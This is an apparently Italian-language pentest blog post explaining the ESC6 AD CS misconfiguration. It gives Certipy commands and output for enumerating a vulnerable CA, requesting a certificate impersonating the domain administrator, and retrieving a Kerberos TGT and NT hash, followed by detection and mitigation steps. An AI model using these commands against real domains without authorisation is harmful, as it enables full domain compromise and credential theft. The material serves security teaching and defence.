ESC6 ADCS Privilege Escalation: SAN Injection tramite CA Flag (Certipy Exploit)

ESC6 ADCS Privilege Escalation: sfruttare il flag EDITF_ATTRIBUTESUBJECTALTNAME2 sulla CA per iniettare SAN arbitrari e impersonare utenti Active Directory con Certipy.
- Pubblicato il 2026-03-07
- Tempo di lettura: 3 min
ESC6 è una tecnica di Active Directory Privilege Escalation tramite AD CS che non colpisce i template ma direttamente la Certificate Authority.
Quando la CA ha attivo il flag EDITF_ATTRIBUTESUBJECTALTNAME2, gli utenti possono specificare Subject Alternative Name (SAN) arbitrari nelle richieste di certificato. Questo comportamento agisce come un override globale della CA, permettendo di inserire UPN o SID personalizzati anche su template che normalmente non lo consentirebbero.
Nelle infrastrutture moderne patchate (post maggio 2022) ESC6 da solo non è sufficiente per impersonare altri utenti. Deve essere combinato con ESC9 ADCS o ESC16 ADCS, che rimuovono la SID Security Extension dal certificato.
Quando ESC6 ADCS È Sfruttabile #
ESC6 è possibile quando:
- La CA ha il flag
EDITF_ATTRIBUTESUBJECTALTNAME2attivo - Gli utenti possono fare enrollment su almeno un template con Client Authentication
- L’ambiente è:
- non patchato, oppure
- combinato con ESC9 o ESC16
Identificazione con Certipy #
Certipy rileva ESC6 durante l’enumerazione della CA.
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.0.0.100 -vulnerable -enabled -stdoutOutput tipico:
Certificate Authorities
CA Name : CORP-CA
DNS Name : CA.CORP.LOCAL
User Specified SAN : Enabled
Request Disposition : Issue
[+] User Enrollable Principals : CORP.LOCAL\Authenticated Users
[!] Vulnerabilities
ESC6 : Enrollee can specify SAN.Indicatori chiave:
- User Specified SAN : Enabled
- ESC6 : Enrollee can specify SAN
Exploit ESC6 ADCS con Certipy #
Il caso più realistico è ESC6 + ESC9 oppure ESC6 + ESC16.
L’attaccante richiede un certificato inserendo nel SAN:
- UPN dell’utente target
- SID dell’utente target
Certipy formatta automaticamente il SID come:
URL=tag:microsoft.com,2022-09-14:sid:<VALUE>Step 1 — Richiedi il certificato con SAN malevolo #
certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'ESC9' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'Output:
[*] Requesting certificate via RPC
[*] Request ID is 1
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Saving certificate and private key to 'administrator.pfx'Il certificato contiene:
- UPN Administrator
- SID Administrator
Step 2 — Autenticazione #
certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'Output:
[*] Certificate identities:
[*] SAN UPN: 'administrator@corp.local'
[*] SAN URL SID: 'S-1-5-21-...-500'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local'Risultato:
- TGT Kerberos
- NT hash Administrator
- accesso completo al dominio
ESC6 Standalone (DC patchati) #
Se ESC9 e ESC16 non sono presenti, l’attacco fallisce perché il certificato include anche la SID Security Extension dell’attaccante.
Certipy mostrerà:
[!] Conflicting SIDs found in certificate:
[!] SAN URL: 'S-1-5-21-...-500'
[!] Security Extension: 'S-1-5-21-...-1106'
[!] Windows will use the security extension SIDE l’autenticazione fallirà.
Detection ESC6 ADCS #
Controlla il flag sulla CA:
certutil -getreg policy\EditFlagsIndicatori:
EDITF_ATTRIBUTESUBJECTALTNAME2- Event ID 4886
- Event ID 4887
Mitigation ESC6 ADCS #
Disabilita il flag sulla CA:
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc
net start certsvcMisure aggiuntive:
- abilita
StrongCertificateBindingEnforcement = 2 - limita enrollment sui template
- monitora SAN nelle richieste certificato
FAQ — ESC6 ADCS #
Cos’è ESC6 in ADCS? #
ESC6 è una configurazione errata della Certificate Authority che permette agli utenti di inserire SAN arbitrari nelle richieste di certificato.
ESC6 funziona da solo? #
No negli ambienti moderni. Deve essere combinato con:
Qual è la differenza tra ESC6 e ESC1? #
ESC1 è una vulnerabilità del template. ESC6 è una vulnerabilità della CA.
Key Takeaway: se la CA permette SAN arbitrari (EDITF_ATTRIBUTESUBJECTALTNAME2), un attaccante può inserire UPN e SID nel certificato e impersonare utenti — soprattutto se combinato con ESC9 o ESC16.
ESC6 mostra come una misconfiguration sulla Certificate Authority possa permettere SAN arbitrari nelle richieste di certificato. Per la panoramica completa delle tecniche ADCS leggi la guida: ADCS ESC1–ESC16.
Continua con le escalation successive: ESC7 ADCS · ESC8 ADCS.Se questo contenuto ti è utile puoi supportare HackIta su Supporta.
Vuoi imparare pentesting Active Directory e offensive security 1:1 oppure testare la sicurezza del tuo sito o infrastruttura aziendale? Vai su Servizi HackIta.Riferimenti tecnici:
https://specterops.io/blog/2021/06/17/certified-pre-owned/
https://github.com/ly4k/Certipy
https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/







